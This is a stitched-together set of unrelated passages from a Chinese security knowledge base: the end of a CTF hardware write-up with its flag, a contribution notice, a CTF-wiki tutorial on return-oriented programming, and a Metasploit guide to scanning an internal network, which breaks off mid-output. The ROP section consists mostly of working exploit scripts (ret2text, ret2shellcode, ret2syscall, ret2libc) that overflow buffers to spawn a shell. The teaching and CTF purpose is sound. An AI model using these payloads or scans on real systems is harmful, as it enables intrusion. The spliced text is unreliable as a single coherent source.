gpio_set_mask(0) gpio_clr_mask(5) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(2) sleep_us(100) gpio_set_mask(65) gpio_clr_mask(16) sleep_us(100) gpio_set_mask(22) gpio_clr_mask(65) sleep_us(100) gpio_set_mask(1) gpio_clr_mask(6) sleep_us(100) gpio_set_mask(4) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(66) gpio_clr_mask(21) sleep_us(100) gpio_set_mask(1) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(2) sleep_us(100) gpio_set_mask(24) gpio_clr_mask(65) sleep_us(100) gpio_set_mask(67) gpio_clr_mask(24) sleep_us(100) gpio_set_mask(24) gpio_clr_mask(67) sleep_us(100) gpio_set_mask(2) gpio_clr_mask(8) sleep_us(100) gpio_set_mask(65) gpio_clr_mask(18) sleep_us(100) gpio_set_mask(16) gpio_clr_mask(64) sleep_us(100) gpio_set_mask(2) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(68) gpio_clr_mask(19) sleep_us(100) gpio_set_mask(19) gpio_clr_mask(64) sleep_us(100) gpio_set_mask(72) gpio_clr_mask(2) sleep_us(100) gpio_set_mask(2) gpio_clr_mask(117) sleep_us(100) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/google/4_Secret_Location_-_Base] └─$ python3 solve.py CTF{be65dfa2355e5309808a7720a615bca8c82a13d7} ``` An alternative method to solve the challenge was to use the `*.uf2` file (either by burning it on a real Pico device or using a simulator).
sec-knowleage
--- title: 一起补充 --- <center><h1>一起补充</h1></center> --- ## 如何一起补充文库? ### 补充格式 对于云服务和原生安全的补充,格式需要为 MarkDown 格式,对于云安全资源类的补充直接邮件正文发给我就行啦。 ### 补充类型 * 云服务安全,原创、翻译都可以 * 云原生安全,原创、翻译都可以 * 云安全资源类,一个 Tips、一个工具、一个网站等等都可以 ### 联系方式 可以将要补充的内容直接发送到邮箱 `teamssix#wgpsec.org` 即可。(#记得替换成 @) > 补充文库后,文库首页「贡献者」会出现你的头像和 ID 哦 ~ ## 注意事项 * 补充内容需要符合上面的格式和类型 * 如果 MarkDown 中有图片,可以使用图床或者 md 文件和图片一起打个压缩包进行发送 * 不收录未公开漏洞和 0day 漏洞 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月14日" } } </script>
sec-knowleage
### 基本 ROP概述 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件 - 程序存在溢出,并且可以控制返回地址。 - 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。 ### ret2text原理 ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。 这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。 ### ret2text例子 其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。 点击下载: [ret2text](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text) 首先,查看一下程序的保护机制 ```shell ➜ ret2text checksec ret2text Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets((char *)&v4); printf("Maybe I will tell you next time !"); return 0; } ``` 可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现 ```asm .text:080485FD secure proc near .text:080485FD .text:080485FD input = dword ptr -10h .text:080485FD secretcode = dword ptr -0Ch .text:080485FD .text:080485FD push ebp .text:080485FE mov ebp, esp .text:08048600 sub esp, 28h .text:08048603 mov dword ptr [esp], 0 ; timer .text:0804860A call _time .text:0804860F mov [esp], eax ; seed .text:08048612 call _srand .text:08048617 call _rand .text:0804861C mov [ebp+secretcode], eax .text:0804861F lea eax, [ebp+input] .text:08048622 mov [esp+4], eax .text:08048626 mov dword ptr [esp], offset unk_8048760 .text:0804862D call ___isoc99_scanf .text:08048632 mov eax, [ebp+input] .text:08048635 cmp eax, [ebp+secretcode] .text:08048638 jnz short locret_8048646 .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system ``` 在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。 下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。 ```asm .text:080486A7 lea eax, [esp+1Ch] .text:080486AB mov [esp], eax ; s .text:080486AE call _gets ``` 可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下 ```shell gef➤ b *0x080486AE Breakpoint 1 at 0x80486ae: file ret2text.c, line 24. gef➤ r There is something amazing here, do you know anything? Breakpoint 1, 0x080486ae in main () at ret2text.c:24 24 gets(buf); ───────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffffcd5c → 0x08048329 → "__libc_start_main" $ebx : 0x00000000 $ecx : 0xffffffff $edx : 0xf7faf870 → 0x00000000 $esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main" $ebp : 0xffffcdc8 → 0x00000000 $esi : 0xf7fae000 → 0x001b1db0 $edi : 0xf7fae000 → 0x001b1db0 $eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt> ``` 可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 `esp+0x1c`,因此,我们可以推断 - s 的地址为 0xffffcd5c - s 相对于 ebp 的偏移为 0x6c - s 相对于返回地址的偏移为 0x6c+4 最后的 payload 如下: ```python ##!/usr/bin/env python from pwn import * sh = process('./ret2text') target = 0x804863a sh.sendline('A' * (0x6c+4) + p32(target)) sh.interactive() ``` ### ret2shellcode原理 ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。**一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码**。 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。 ### ret2shellcode例子 这里我们以 bamboofox 中的 ret2shellcode 为例 点击下载: [ret2shellcode](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode) 首先检测程序开启的保护 ```shell ➜ ret2shellcode checksec ret2shellcode Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` 可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; } ``` 可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。 ```asm .bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100] ``` 这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。 ```shell gef➤ b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef➤ r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode Breakpoint 1, main () at ret2shellcode.c:8 8 setvbuf(stdout, 0LL, 2, 0LL); ─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]──── 6 int main(void) 7 { → 8 setvbuf(stdout, 0LL, 2, 0LL); 9 setvbuf(stdin, 0LL, 1, 0LL); 10 ─────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048536 → Name: main() ───────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ vmmap Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so 0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so 0xf7faf000 0xf7fb2000 0x00000000 rwx 0xf7fd3000 0xf7fd5000 0x00000000 rwx 0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffb000 0xf7ffc000 0x00000000 rwx 0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rwx [stack] ``` 通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限 ```text 0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode ``` 那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。 具体的 payload 如下 ```python #!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive() ``` ### ret2syscall例子 这里我们以 bamboofox 中的 ret2syscall 为例 点击下载: [ret2syscall](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop) 首先检测程序开启的保护 ```shell ➜ ret2syscall checksec rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; } ``` 可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考 - https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell ```C execve("/bin/sh",NULL,NULL) ``` 其中,该程序是 32 位,所以我们需要使得 - 系统调用号,即 eax 应该为 0xb - 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。 - 第二个参数,即 ecx 应该为 0 - 第三个参数,即 edx 应该为 0 而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。 首先,我们来寻找控制 eax 的gadgets ```shell ➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret ``` 可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。 类似的,我们可以得到控制其它寄存器的 gadgets ```shell ➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret ``` 这里,我选择 ```text 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret ``` 这个可以直接控制其它三个寄存器。 此外,我们需要获得 /bin/sh 字符串对应的地址。 ```shell ➜ ret2syscall ROPgadget --binary rop --string '/bin/sh' Strings information ============================================================ 0x080be408 : /bin/sh ``` 可以找到对应的地址,此外,还有 int 0x80 的地址,如下 ```text ➜ ret2syscall ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 0x080938fe : int 0xbb 0x080869b5 : int 0xf6 0x0807b4d4 : int 0xfc Unique gadgets found: 4 ``` 同时,也找到对应的地址了。 下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。 ```python #!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive() ``` ### ret2libc原理 ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。 ### ret2libc例子 我们由简单到难分别给出三个例子。 #### 例1 这里我们以 bamboofox 中 ret2libc1 为例 点击下载: [ret2libc1](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1) 首先,我们可以检查一下程序的安全保护 ```shell ➜ ret2libc1 checksec ret2libc1 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置 ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets((char *)&v4); return 0; } ``` 可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在 ```shell ➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh' Strings information ============================================================ 0x08048720 : /bin/sh ``` 确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。 ```asm .plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND] ``` 那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下 ```python #!/usr/bin/env python from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive() ``` 这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb' 作为虚假的地址,其后参数对应的参数内容。 这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。 #### 例2 这里以 bamboofox 中的 ret2libc2 为例 点击下载: [ret2libc2](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2) 该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下 ```python ##!/usr/bin/env python from pwn import * sh = process('./ret2libc2') gets_plt = 0x08048460 system_plt = 0x08048490 pop_ebx = 0x0804843d buf2 = 0x804a080 payload = flat( ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2]) sh.sendline(payload) sh.sendline('/bin/sh') sh.interactive() ``` 需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。 #### 例3 这里以 bamboofox 中的 ret2libc3 为例 点击下载: [ret2libc3](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3) 在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护 ```shell ➜ ret2libc3 checksec ret2libc3 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets((char *)&v4); return 0; } ``` 那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点 - system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。 - 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下 - https://github.com/niklasb/libc-database 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。 那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。**当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。** 我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme - https://github.com/lieanu/LibcSearcher 此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。 这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下 - 泄露 __libc_start_main 地址 - 获取 libc 版本 - 获取 system 地址与 /bin/sh 的地址 - 再次执行源程序 - 触发栈溢出执行 system(‘/bin/sh’) exp 如下 ```python #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher sh = process('./ret2libc3') ret2libc3 = ELF('./ret2libc3') puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main'] print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?', payload) print "get the related addr" libc_start_main_addr = u32(sh.recv()[0:4]) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') print "get shell" payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive() ```
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 **攻击机:** 192.168.1.102 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version **第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/ssh/ssh_version * auxiliary/scanner/telnet/telnet_version * auxiliary/scanner/discovery/udp_probe * auxiliary/scanner/dns/dns_amp * auxiliary/scanner/mysql/mysql_version **第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/netbios/nbname * auxiliary/scanner/http/title * auxiliary/scanner/db2/db2_version * auxiliary/scanner/portscan/ack * auxiliary/scanner/portscan/tcp **第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/portscan/syn * auxiliary/scanner/portscan/ftpbounce * auxiliary/scanner/portscan/xmas * auxiliary/scanner/rdp/rdp_scanner * auxiliary/scanner/smtp/smtp_version **第五季主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为:** * auxiliary/scanner/pop3/pop3_version * auxiliary/scanner/postgres/postgres_version * auxiliary/scanner/ftp/anonymous * db_nmap ### 二十一:基于auxiliary/scanner/pop3/pop3_version发现内网存活主机 ```bash msf auxiliary(scanner/pop3/pop3_version) > show options Module options (auxiliary/scanner/pop3/pop3_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.110‐120 yes The target address range or CIDR identifier RPORT 110 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/pop3/pop3_version) > exploit [*] Scanned 5 of 11 hosts (45% complete) [*] Scanned 11 of 11 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/2582b5c030654781feac30f20350a575.jpg) ### 二十二:基于auxiliary/scanner/postgres/postgres_version发现内网存活主机 ```bash msf auxiliary(scanner/postgres/postgres_version) > show options Module options (auxiliary/scanner/postgres/postgres_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DATABASE template1 yes The database to authenticate against PASSWORD msf no The password for the specified username. Leave blank for a random password. RHOSTS 127.0.0.1 yes The target address range or CIDR identifier RPORT 5432 yes The target port THREADS 50 yes The number of concurrent threads USERNAME msf yes The username to authenticate as VERBOSE false no Enable verbose output msf auxiliary(scanner/postgres/postgres_version) > exploit [*] 127.0.0.1:5432 Postgres ‐ Version PostgreSQL 9.6.6 on x86_64‐pc‐li nux‐gnu, compiled by gcc (Debian 4.9.2‐10) 4.9.2, 64‐bit (Post‐Auth) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/03f13e7247773b96df39085bc75361f6.jpg) ### 二十三:基于auxiliary/scanner/ftp/anonymous发现内网存活主机 ```bash msf auxiliary(scanner/ftp/anonymous) > show options Module options (auxiliary/scanner/ftp/anonymous): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS 192.168.1.100‐120 yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/ftp/anonymous) > exploit [+] 192.168.1.115:21 ‐ 192.168.1.115:21 ‐ Anonymous READ (220 Slyar Ftpserver) [+] 192.168.1.119:21 ‐ 192.168.1.119:21 ‐ Anonymous READ (220 FTPserver) [*] Scanned 3 of 21 hosts (14% complete) [*] Scanned 6 of 21 hosts (28% complete) [*] Scanned 17 of 21 hosts (80% complete) [*] Scanned 21 of 21 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/51df07fdc37e6804845d3560e50e76d6.jpg) ### 二十四:基于db_nmap发现内网存活主机 MSF内置强大的端口扫描工具Nmap,为了更好的区别,内置命令为:db_nmap,并且会自动存储nmap扫描结果到数据库中,方便快速查询已知存活主机,以及更快捷的进行团队协同作战,使用方法与nmap一致。也是在实战中最常用到的发现内网存活主机方式之一。 例: ```bash msf exploit(multi/handler) > db_nmap ‐p 445 ‐T4 ‐sT 192.168.1.115‐120 ‐‐open [*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019‐02‐17 15:17 EST [*] Nmap: Nmap scan report for 192.168.1.115 [*] Nmap: Host is up (0.0025s latency). [*] Nmap: PORT STATE SERVICE [*] Nmap: 445/tcp open microsoft‐ds [*] Nmap: MAC Address: 00:0C:29:AF:CE:CC (VMware) [*] Nmap: Nmap scan report for 192.168.1.119 [*] Nmap: Host is up (0.0026s latency). [*] Nmap: PORT STATE SERVICE [*] Nmap: 445/tcp open microsoft‐ds [*] Nmap: MAC Address: 00:0C:29:85:D6:7D (VMware) [*] Nmap: Nmap done: 6 IP addresses (2 hosts up) scanned in 13.35 seconds ``` ![](media/f6a61ed6bd0488434b4fc561063c0955.jpg) 命令hosts查看数据库中已发现的内网存活主机 ```bash msf exploit(multi/handler) > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐ 1.34.37.188 firewall 10.0.0.2 00:24:1d:dc:3b:16 10.0.0.3 00:e0:81:bf:b9:7b 10.0.0.4 00:30:6e:ca:10:b8 10.0.0.5 9c:8e:99:c4:63:74 2013XXXXX Windows 2008 SP1 client ... 10.0.0.242 00:13:57:01:d4:71 10.0.0.243 00:13:57:01:d4:73 .... 10.162.110.30 firewall 59.125.110.178 firewall 127.0.0.1 Unknown device 172.16.204.8 WIN‐6FEAACQJ691 Windows 2012 server 172.16.204.9 WIN‐6FEAACQJ691 Windows 2012 server 172.16.204.21 IDS Windows 2003 SP2 server 192.168.1.5 JOHN‐PC Windows 7 SP1 client 192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client 192.168.1.103 LAPTOP‐9994K8RP Windows 10 client 192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server 192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server 192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server 192.168.1.254 Unknown device 192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client 192.168.100.2 Unknown device 192.168.100.10 ``` 同样hosts命令也支持数据库中查询与搜索,方便快速对应目标存活主机。 ```bash msf exploit(multi/handler) > hosts ‐h Usage: hosts [ options ] [addr1 addr2 ...] OPTIONS: ‐a,‐‐add Add the hosts instead of searching ‐d,‐‐delete Delete the hosts instead of searching ‐c 